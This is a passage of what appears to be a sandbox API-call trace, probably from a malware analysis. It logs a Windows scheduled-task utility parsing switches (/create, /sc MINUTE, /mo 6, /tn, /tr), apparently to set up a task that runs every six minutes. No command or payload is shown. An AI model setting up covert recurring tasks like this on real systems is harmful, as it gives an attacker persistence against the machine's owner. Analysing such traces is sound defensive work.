[0073.690] lstrlenW (lpString="countryyouc") returned 11 [0073.690] SetLastError (dwErrCode=0x0) [0073.690] SetLastError (dwErrCode=0x0) [0073.690] lstrlenW (lpString="/sc") returned 3 [0073.690] lstrlenW (lpString="-/") returned 2 [0073.690] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.690] lstrlenW (lpString="create") returned 6 [0073.690] lstrlenW (lpString="create") returned 6 [0073.690] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.690] lstrlenW (lpString="sc") returned 2 [0073.690] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.690] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.690] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.690] lstrlenW (lpString="|create|") returned 8 [0073.690] lstrlenW (lpString="|sc|") returned 4 [0073.690] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0073.690] SetLastError (dwErrCode=0x490) [0073.690] lstrlenW (lpString="?") returned 1 [0073.690] lstrlenW (lpString="?") returned 1 [0073.690] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.690] lstrlenW (lpString="sc") returned 2 [0073.690] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.690] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.691] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.691] lstrlenW (lpString="|?|") returned 3 [0073.691] lstrlenW (lpString="|sc|") returned 4 [0073.691] SetLastError (dwErrCode=0x490) [0073.691] lstrlenW (lpString="s") returned 1 [0073.691] lstrlenW (lpString="s") returned 1 [0073.691] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.691] lstrlenW (lpString="sc") returned 2 [0073.691] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.691] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.691] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.691] lstrlenW (lpString="|s|") returned 3 [0073.691] lstrlenW (lpString="|sc|") returned 4 [0073.691] SetLastError (dwErrCode=0x490) [0073.691] lstrlenW (lpString="u") returned 1 [0073.691] lstrlenW (lpString="u") returned 1 [0073.691] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.691] lstrlenW (lpString="sc") returned 2 [0073.691] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.691] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.691] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.691] lstrlenW (lpString="|u|") returned 3 [0073.691] lstrlenW (lpString="|sc|") returned 4 [0073.692] SetLastError (dwErrCode=0x490) [0073.692] lstrlenW (lpString="p") returned 1 [0073.692] lstrlenW (lpString="p") returned 1 [0073.692] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.692] lstrlenW (lpString="sc") returned 2 [0073.692] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.692] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.692] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.692] lstrlenW (lpString="|p|") returned 3 [0073.692] lstrlenW (lpString="|sc|") returned 4 [0073.692] SetLastError (dwErrCode=0x490) [0073.692] lstrlenW (lpString="ru") returned 2 [0073.692] lstrlenW (lpString="ru") returned 2 [0073.692] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.692] lstrlenW (lpString="sc") returned 2 [0073.692] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.692] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.692] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.692] lstrlenW (lpString="|ru|") returned 4 [0073.692] lstrlenW (lpString="|sc|") returned 4 [0073.692] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0073.692] SetLastError (dwErrCode=0x490) [0073.692] lstrlenW (lpString="rp") returned 2 [0073.692] lstrlenW (lpString="rp") returned 2 [0073.692] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.693] lstrlenW (lpString="sc") returned 2 [0073.693] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.693] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.693] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.693] lstrlenW (lpString="|rp|") returned 4 [0073.693] lstrlenW (lpString="|sc|") returned 4 [0073.693] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0073.693] SetLastError (dwErrCode=0x490) [0073.693] lstrlenW (lpString="sc") returned 2 [0073.693] lstrlenW (lpString="sc") returned 2 [0073.693] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.693] lstrlenW (lpString="sc") returned 2 [0073.693] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.693] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.693] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.693] lstrlenW (lpString="|sc|") returned 4 [0073.693] lstrlenW (lpString="|sc|") returned 4 [0073.693] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0073.693] SetLastError (dwErrCode=0x0) [0073.693] SetLastError (dwErrCode=0x0) [0073.693] lstrlenW (lpString="MINUTE") returned 6 [0073.693] lstrlenW (lpString="-/") returned 2 [0073.693] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0073.693] SetLastError (dwErrCode=0x490) [0073.694] SetLastError (dwErrCode=0x490) [0073.694] SetLastError (dwErrCode=0x0) [0073.694] lstrlenW (lpString="MINUTE") returned 6 [0073.694] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0073.694] SetLastError (dwErrCode=0x490) [0073.694] SetLastError (dwErrCode=0x0) [0073.694] GetProcessHeap () returned 0x100000 [0073.694] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11d6e0 [0073.694] _memicmp (_Buf1=0x11d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.694] lstrlenW (lpString="MINUTE") returned 6 [0073.694] GetProcessHeap () returned 0x100000 [0073.694] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11d700 [0073.694] lstrlenW (lpString="MINUTE") returned 6 [0073.694] lstrlenW (lpString=" \x09") returned 2 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0073.694] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0073.694] GetLastError () returned 0x0 [0073.694] lstrlenW (lpString="MINUTE") returned 6 [0073.694] lstrlenW (lpString="MINUTE") returned 6 [0073.694] SetLastError (dwErrCode=0x0) [0073.694] SetLastError (dwErrCode=0x0) [0073.694] lstrlenW (lpString="/mo") returned 3 [0073.694] lstrlenW (lpString="-/") returned 2 [0073.695] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.695] lstrlenW (lpString="create") returned 6 [0073.695] lstrlenW (lpString="create") returned 6 [0073.695] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.695] lstrlenW (lpString="mo") returned 2 [0073.695] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.695] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.695] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.695] lstrlenW (lpString="|create|") returned 8 [0073.695] lstrlenW (lpString="|mo|") returned 4 [0073.695] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0073.695] SetLastError (dwErrCode=0x490) [0073.695] lstrlenW (lpString="?") returned 1 [0073.695] lstrlenW (lpString="?") returned 1 [0073.695] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.695] lstrlenW (lpString="mo") returned 2 [0073.695] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.695] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.695] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.695] lstrlenW (lpString="|?|") returned 3 [0073.695] lstrlenW (lpString="|mo|") returned 4 [0073.695] SetLastError (dwErrCode=0x490) [0073.695] lstrlenW (lpString="s") returned 1 [0073.695] lstrlenW (lpString="s") returned 1 [0073.695] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] lstrlenW (lpString="mo") returned 2 [0073.696] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.696] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.696] lstrlenW (lpString="|s|") returned 3 [0073.696] lstrlenW (lpString="|mo|") returned 4 [0073.696] SetLastError (dwErrCode=0x490) [0073.696] lstrlenW (lpString="u") returned 1 [0073.696] lstrlenW (lpString="u") returned 1 [0073.696] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] lstrlenW (lpString="mo") returned 2 [0073.696] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.696] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.696] lstrlenW (lpString="|u|") returned 3 [0073.696] lstrlenW (lpString="|mo|") returned 4 [0073.696] SetLastError (dwErrCode=0x490) [0073.696] lstrlenW (lpString="p") returned 1 [0073.696] lstrlenW (lpString="p") returned 1 [0073.696] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] lstrlenW (lpString="mo") returned 2 [0073.696] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.696] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.697] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.697] lstrlenW (lpString="|p|") returned 3 [0073.697] lstrlenW (lpString="|mo|") returned 4 [0073.697] SetLastError (dwErrCode=0x490) [0073.697] lstrlenW (lpString="ru") returned 2 [0073.697] lstrlenW (lpString="ru") returned 2 [0073.697] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.697] lstrlenW (lpString="mo") returned 2 [0073.697] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.697] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.697] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.697] lstrlenW (lpString="|ru|") returned 4 [0073.697] lstrlenW (lpString="|mo|") returned 4 [0073.697] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0073.697] SetLastError (dwErrCode=0x490) [0073.697] lstrlenW (lpString="rp") returned 2 [0073.697] lstrlenW (lpString="rp") returned 2 [0073.697] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.697] lstrlenW (lpString="mo") returned 2 [0073.697] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.697] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.697] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.697] lstrlenW (lpString="|rp|") returned 4 [0073.697] lstrlenW (lpString="|mo|") returned 4 [0073.697] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0073.698] SetLastError (dwErrCode=0x490) [0073.698] lstrlenW (lpString="sc") returned 2 [0073.698] lstrlenW (lpString="sc") returned 2 [0073.698] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.698] lstrlenW (lpString="mo") returned 2 [0073.698] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.698] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.698] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.698] lstrlenW (lpString="|sc|") returned 4 [0073.698] lstrlenW (lpString="|mo|") returned 4 [0073.698] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0073.698] SetLastError (dwErrCode=0x490) [0073.698] lstrlenW (lpString="mo") returned 2 [0073.698] lstrlenW (lpString="mo") returned 2 [0073.698] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.698] lstrlenW (lpString="mo") returned 2 [0073.698] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.698] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.698] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.698] lstrlenW (lpString="|mo|") returned 4 [0073.698] lstrlenW (lpString="|mo|") returned 4 [0073.698] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0073.698] SetLastError (dwErrCode=0x0) [0073.698] SetLastError (dwErrCode=0x0) [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] SetLastError (dwErrCode=0x490) [0073.699] SetLastError (dwErrCode=0x0) [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0073.699] SetLastError (dwErrCode=0x490) [0073.699] SetLastError (dwErrCode=0x0) [0073.699] _memicmp (_Buf1=0x11d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] lstrlenW (lpString=" \x09") returned 2 [0073.699] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0073.699] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0073.699] GetLastError () returned 0x0 [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] lstrlenW (lpString="6") returned 1 [0073.699] GetProcessHeap () returned 0x100000 [0073.699] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x4) returned 0x115590 [0073.699] SetLastError (dwErrCode=0x0) [0073.699] SetLastError (dwErrCode=0x0) [0073.699] lstrlenW (lpString="/tr") returned 3 [0073.699] lstrlenW (lpString="-/") returned 2 [0073.699] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.699] lstrlenW (lpString="create") returned 6 [0073.699] lstrlenW (lpString="create") returned 6 [0073.699] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.699] lstrlenW (lpString="tr") returned 2 [0073.699] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.700] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.700] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.700] lstrlenW (lpString="|create|") returned 8 [0073.700] lstrlenW (lpString="|tr|") returned 4 [0073.700] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0073.700] SetLastError (dwErrCode=0x490) [0073.700] lstrlenW (lpString="?") returned 1 [0073.700] lstrlenW (lpString="?") returned 1 [0073.700] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.700] lstrlenW (lpString="tr") returned 2 [0073.700] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.700] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.700] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.700] lstrlenW (lpString="|?|") returned 3 [0073.700] lstrlenW (lpString="|tr|") returned 4 [0073.700] SetLastError (dwErrCode=0x490) [0073.700] lstrlenW (lpString="s") returned 1 [0073.700] lstrlenW (lpString="s") returned 1 [0073.700] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.700] lstrlenW (lpString="tr") returned 2 [0073.700] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.700] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.700] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.701] lstrlenW (lpString="|s|") returned 3 [0073.701] lstrlenW (lpString="|tr|") returned 4 [0073.701] SetLastError (dwErrCode=0x490) [0073.701] lstrlenW (lpString="u") returned 1 [0073.701] lstrlenW (lpString="u") returned 1 [0073.701] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.701] lstrlenW (lpString="tr") returned 2 [0073.701] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.701] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.701] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.701] lstrlenW (lpString="|u|") returned 3 [0073.701] lstrlenW (lpString="|tr|") returned 4 [0073.701] SetLastError (dwErrCode=0x490) [0073.701] lstrlenW (lpString="p") returned 1 [0073.701] lstrlenW (lpString="p") returned 1 [0073.701] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.701] lstrlenW (lpString="tr") returned 2 [0073.701] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.701] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.701] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.701] lstrlenW (lpString="|p|") returned 3 [0073.701] lstrlenW (lpString="|tr|") returned 4 [0073.701] SetLastError (dwErrCode=0x490) [0073.701] lstrlenW (lpString="ru") returned 2 [0073.701] lstrlenW (lpString="ru") returned 2 [0073.701] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.702] lstrlenW (lpString="tr") returned 2 [0073.702] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.702] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.702] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.702] lstrlenW (lpString="|ru|") returned 4 [0073.702] lstrlenW (lpString="|tr|") returned 4 [0073.702] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0073.702] SetLastError (dwErrCode=0x490) [0073.702] lstrlenW (lpString="rp") returned 2 [0073.702] lstrlenW (lpString="rp") returned 2 [0073.702] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.702] lstrlenW (lpString="tr") returned 2 [0073.704] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.704] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.704] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.704] lstrlenW (lpString="|rp|") returned 4 [0073.704] lstrlenW (lpString="|tr|") returned 4 [0073.704] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0073.704] SetLastError (dwErrCode=0x490) [0073.704] lstrlenW (lpString="sc") returned 2 [0073.704] lstrlenW (lpString="sc") returned 2 [0073.704] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.704] lstrlenW (lpString="tr") returned 2 [0073.704] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.704] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.704] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.705] lstrlenW (lpString="|sc|") returned 4 [0073.705] lstrlenW (lpString="|tr|") returned 4 [0073.705] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0073.705] SetLastError (dwErrCode=0x490) [0073.705] lstrlenW (lpString="mo") returned 2 [0073.705] lstrlenW (lpString="mo") returned 2 [0073.705] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.705] lstrlenW (lpString="tr") returned 2 [0073.705] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.705] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.705] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.705] lstrlenW (lpString="|mo|") returned 4 [0073.705] lstrlenW (lpString="|tr|") returned 4 [0073.705] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0073.705] SetLastError (dwErrCode=0x490) [0073.705] lstrlenW (lpString="d") returned 1 [0073.705] lstrlenW (lpString="d") returned 1 [0073.705] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.705] lstrlenW (lpString="tr") returned 2 [0073.705] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.705] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|d|") returned 3 [0073.705] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.705] lstrlenW (lpString="|d|") returned 3 [0073.705] lstrlenW (lpString="|tr|") returned 4 [0073.706] SetLastError (dwErrCode=0x490) [0073.706] lstrlenW (lpString="m") returned 1 [0073.706] lstrlenW (lpString="m") returned 1 [0073.706] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.706] lstrlenW (lpString="tr") returned 2 [0073.706] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.706] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|m|") returned 3 [0073.706] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.706] lstrlenW (lpString="|m|") returned 3 [0073.706] lstrlenW (lpString="|tr|") returned 4 [0073.706] SetLastError (dwErrCode=0x490) [0073.706] lstrlenW (lpString="i") returned 1 [0073.706] lstrlenW (lpString="i") returned 1 [0073.706] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.706] lstrlenW (lpString="tr") returned 2 [0073.706] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.706] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|i|") returned 3 [0073.706] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.706] lstrlenW (lpString="|i|") returned 3 [0073.706] lstrlenW (lpString="|tr|") returned 4 [0073.706] SetLastError (dwErrCode=0x490) [0073.706] lstrlenW (lpString="tn") returned 2 [0073.706] lstrlenW (lpString="tn") returned 2 [0073.706] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.707] lstrlenW (lpString="tr") returned 2 [0073.707] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.707] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.707] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.707] lstrlenW (lpString="|tn|") returned 4 [0073.707] lstrlenW (lpString="|tr|") returned 4 